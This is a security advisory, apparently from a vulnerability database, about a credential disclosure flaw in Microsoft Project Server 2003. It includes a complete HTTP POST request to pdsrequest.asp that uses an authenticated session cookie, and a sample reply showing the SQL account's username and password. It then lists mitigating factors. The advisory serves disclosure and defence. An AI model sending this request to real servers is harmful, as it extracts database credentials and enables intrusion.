Project Server 2003 - Credential Disclosure

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

============================================================== % Project Server 2003 - Credential Disclosure % brett.moore (at) security-assessment (dot) com [email concealed] ============================================================== Microsoft Project server 2003 implements a thick client for some of the functionality. The thick client uses XML requests to talk to the server of HTTP(S). One of these requests returns the username and password of the MSProjectUser account used to access the SQL database as well as other system information. -------------------------------------------------------------- POST http://SERVER/projectserver/logon/pdsrequest.asp HTTP/1.0 Accept: */* Accept-Language: en-nz Pragma: no-cache Host: SERVER Content-length: 87 Proxy-Connection: Keep-Alive Cookie: PjSessionID=<valid cookie> <Request> <GetInitializationData> <Release>1</Release> </GetInitializationData> </Request> <Reply> <HRESULT>0</HRESULT> <STATUS>0</STATUS> <UserName>theuser</UserName> <GetInitializationData> <GetLoginInformation> <DBType>0</DBType> <DVR>{SQLServer}</DVR> <DB>ProjectServer</DB> <SVR>SERVER</SVR> <ResGlobalID>1</ResGlobalID> <ResGlobalName>resglobal</ResGlobalName> <UserName>MSProjectUser</UserName> <---- <Password>sekretpass</Password> <---- <UserNTAccount>SERVERUSER</UserNTAccount> </GetLoginInformation> </Reply> -------------------------------------------------------------- Some quick notes that mitigate this attack; * The cookie must be a valid cookie, which is obtained via a login with a valid username and password. * Since the thick client is 'client side' any sql can be manipulated anyway. * The MSProjectUser should be a low level account anyway * Other 'undocumented' or 'unauthorised' requests 'may' also be able to be made through this method. ============================================================== % ==============================================================

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top